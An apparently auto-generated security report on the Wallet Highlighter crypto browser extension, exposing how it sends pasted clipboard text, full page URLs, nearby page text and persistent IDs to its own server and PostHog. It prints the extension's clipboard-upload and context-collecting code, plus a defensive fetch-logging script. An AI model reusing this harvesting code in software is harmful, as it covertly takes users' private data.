Is Wallet Highlighter - Crypto Fraud & Risk Tool safe?

High risk

Wallet Highlighter - Crypto Fraud & Risk Tool is high risk. We observed the extension send text pasted into a plain web page, with the page URL and a persistent client ID, to api.wallethighlighter.com. This happens when the text holds no wallet address or email.…

CRGWH Managementv2.1.35Chrome Web Store
77Risk
Who publishes it

CRGWH Management - no other listings under this identity, 1 shared hostname

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
CRGWH Management
Declared legal entity
CRGWH Management
Registered address
International House, 126 Colmore Row, Birmingham, London B3 3AP, GB

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

api.wallethighlighter.com
Also called by 2 other listings, including Wallet Highlighter - Crypto Fraud & Risk Tool

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension sends pasted text to api.wallethighlighter.com on every site

HighunwantedCWE-200Dynamic sandbox

We observed the extension send text pasted into a plain web page, with the page URL and a persistent client ID, to api.wallethighlighter.com.

What actually happens

You did this

You paste text into any web page, or click an element labelled copy.

The extension did this

If the text has no wallet address or email, the extension posts it to api.wallethighlighter.com.

The POST also carries the page URL and a client ID.

Captured request

POSThttps://api.wallethighlighter.com/v1/clipboard-log

200 OK

Headers
Content-Type
application/json
Body
{  "clientId": "<persistent client id>",  "source": "paste",  "text": "<planted marker value>",  "length": 22,  "truncated": false,  "url": "https://en.wikipedia.org/wiki/Bitcoin"}

Fields in the clipboard-log request

  • Pasted text
    Meeting notes: call back Dana about the invoice

    The text you pasted or copied, up to 5000 characters.

  • Page address
    https://en.wikipedia.org/wiki/Bitcoin

    The full address of the page you were on.

  • Client ID
    b7e2c1d4-58a9-4f0e-9c31-6a2d8e47f015

    A stored identifier that links these events across visits.

  • Source
    paste

    Whether the text came from a copy or a paste.

The code that does this

Paste handler and the upload branch

Readable version

Paste and click listeners (readable form)

contentScript.bundle.js
document.addEventListener('paste', (e) => {  const text = e.clipboardData?.getData('text/plain') ?? '';  handleClipboard(text, 'paste');   // Sf}, { capture: true, passive: true });// Click on any element whose class/id/aria-label/title contains "copy"// either takes data-clipboard-text directly or reads the clipboard after 300ms.

Branch that sends text when no address-like token is found

contentScript.bundle.js
async function scanClipboard(text, source) {   // kf  const tokens = extractAddressLikeTokens(text);   // _f  if (!tokens.length) {    uploadClipboardText(text, source);             // cf -> POST /v1/clipboard-log    return;  }  // otherwise: risk-lookup path (separate claims)}async function uploadClipboardText(raw, source) {  const text = raw.trim();  if (!text || text === lastSent[source]) return;  lastSent[source] = text;  const truncated = text.length > 5000;  await fetch(API + '/v1/clipboard-log', {    method: 'POST',    headers: { 'Content-Type': 'application/json' },    body: JSON.stringify({ clientId: await getClientId(), source,      text: truncated ? text.slice(0, 5000) : text,      length: text.length, truncated, url: window.location.href })  });}

Where the clipboard text goes

    • api.wallethighlighter.com

    Receives the clipboard-log POST; also the extension's wallet risk-lookup API.

Wallet Highlighter sends the page URL and nearby text with every wallet check

MediumunwantedCWE-359Dynamic sandbox

On every page, Wallet Highlighter's risk lookup sends the full page URL and up to 100 characters of nearby page or input text, not just the wallet address.

What actually happens

You did this

You browse to any webpage that contains a crypto wallet address or email, anywhere in the page text or a form field.

No interaction with the extension is required; the content script runs on every site.

The extension did this

The extension sends that wallet along with the page's full URL and nearby page or form text to its own risk-scoring server.

This runs automatically on page load and again whenever the page's content changes, with no prompt.

Fields sent in every risk-lookup request

  • Wallet address
    0x71C7656EC7ab88b098defB751B7401B5f6d8976F

    The crypto wallet address you're checking. Sending this matches the extension's stated risk-lookup purpose.

  • Full page URL
    https://en.wikipedia.org/wiki/Bitcoin?ref=aff-9182

    The exact page you were on, including query-string parameters, sent even though a risk score only needs the wallet.

  • Nearby page text
    <div id="payment-note"> Please send the payment to my wallet 0x71C7656EC7ab88b098defB751B7401B5f6</div>

    Up to 100 characters of text from the page or a nearby form field, which can include whatever is written near the address.

  • Device identifier
    a3f1c9e2-8b4d-4e91-9c3a-7d2f5b1e6c40 (illustrative)

    A persistent ID that ties every risk lookup, on every site, back to the same browser.

  • Site hash
    efcb5e7c26d69553cab9ec280c40bba8b66f24aa3bdffae200e54cbfa87f05fc (illustrative)

    A hash of the site's origin, sent in addition to the full URL above rather than instead of it.

Captured request

POSThttps://api.wallethighlighter.com/v1/analyze
Headers
Content-Type
application/json
Body
{  "domainHash": "...",  "wallets": [    "0x71C7656EC7ab88b098defB751B7401B5f6d8976F"  ],  "siteUrl": "https://en.wikipedia.org/wiki/Bitcoin?canary_query=CANARY9182",  "userID": "...",  "contexts": {    "0x71C7656EC7ab88b098defB751B7401B5f6d8976F": [      "...<div id=\"canary-wallet-context\"> Please send the payment CANARY_CONTEXT_MARKER_9182 to my wallet 0x71C7656EC7ab88b098defB751B7401B5f6</div>..."    ]  }}

The code that does this

Building the request: full URL and ancestor-element text alongside the wallet

Readable version

Request body construction

content/utils.ts:getRiskDetailsFromApi
async function getRiskDetailsFromApi(domainHash, wallets, contexts) {  if (!domainHash || !wallets || !wallets.length) return null;  try {    const siteUrl = window.location.href;    const userID = await getOrCreateUserId();    if (userID === undefined) throw new Error("userID cannot be undefined");    const response = await fetch(RISK_API_URL, {      method: "POST",      body: JSON.stringify({ domainHash, wallets, siteUrl, userID, contexts }),      headers: { "Content-Type": "application/json" }    });    return await response.json();  } catch (err) {    console.error("Error getting colors", err);    return null;  }}

Ancestor-context collector

content/index.ts:getNearestContext
function getNearestContext(element) {  const ancestors = [];  for (let node = element; node; node = node.parentElement) ancestors.push(node);  const describe = (el) => {    const tag = el.tagName.toLowerCase();    const id = el.id ? ` id="${el.id}"` : "";    const classes = Array.from(el.classList).filter(c => c !== "blackworks-highlighted");    const cls = classes.length ? ` class="${classes.join(" ")}"` : "";    if (tag === "meta") {      const attrs = Array.from(el.attributes).map(a => `${a.name}="${a.value}"`).join(" ");      return `<meta ${attrs} />`;    }    const isFormField = (tag === "textarea" || tag === "input") && el.value;    const text = isFormField      ? ` ${el.value.trim().slice(0, 100).replace(/\s+/g, " ")}`      : (tag !== "html" && tag !== "body" && tag !== "head" && el.innerText)        ? ` ${el.innerText.trim().slice(0, 100).replace(/\s+/g, " ")}`        : "";    return `<${tag}${id}${cls}>${text}</${tag}>`;  };  const reversed = ancestors.reverse();  const closest3 = reversed.slice(0, 3).map(describe);  const farthest5 = reversed.slice(-5).map(describe);  return [...closest3, "....", ...farthest5];}

Where the data ends up

    • api.wallethighlighter.com

    Wallet Highlighter's own backend. Receives every wallet/email risk lookup plus the full page URL and nearby page text from every site you visit.

Reproduce it yourself

Paste into the DevTools console before visiting a page with a wallet address to see the exact fields Wallet Highlighter sends off your device.

Requires
  • A Chromium-based browser with the extension installed
wallet-highlighter-capture-check.js · js
(function () {  const target = "wallethighlighter.com/v1/";  const originalFetch = window.fetch;  window.fetch = function (input, init) {    const url = typeof input === "string" ? input : (input && input.url);    if (url && url.includes(target) && init && init.body) {      try {        const body = JSON.parse(init.body);        console.log("[wallet-highlighter-capture-check] outgoing request to", url);        console.log("  siteUrl sent:", body.siteUrl);        console.log("  contexts sent:", body.contexts);        console.log("  full body:", body);      } catch (e) {        console.log("[wallet-highlighter-capture-check] outgoing request to", url, "raw body:", init.body);      }    }    return originalFetch.apply(this, arguments);  };  console.log("[wallet-highlighter-capture-check] fetch monitor installed. Now interact with a page containing a wallet address.");})();
How to run it
  1. 1Open DevTools > Console on any page.
  2. 2Paste and run the script.
  3. 3Reveal a wallet address on the page or in an input field.
  4. 4It logs the outgoing request's URL and body.

Hovered wallet and email addresses sent to PostHog analytics

MediumunwantedCWE-200Dynamic sandbox

Hovering over highlighted wallet/email addresses batches them into a popup_on_highlighted_addresses event sent to us.i.posthog.com, carrying a persistent random user ID that links page-derived address data to a stable install.

What actually happens

You did this

The user moves the pointer over a highlighted wallet or email address.

The extension did this

The extension batches the detected address values and sends them in a PostHog analytics event tied to a persistent user ID.

Captured request

POSTus.i.posthog.com

Fields in the request

  • Highlighted Wallet/Email Address
    0x742d35cc6634c0532925a3b844bc454e4438f44e (illustrative)

    This page-derived value can reveal which wallet or email address the user hovered over while browsing.

  • Persistent extension user ID
    a3f91c2e7b4d8a6f5c0e9d12b7a4c8f0 (illustrative)

    This storage-backed identifier can link multiple analytics events from the same browser install.

Updated 2 November 2026cnmbailpgmdagpofalkeoeooefdkjfdl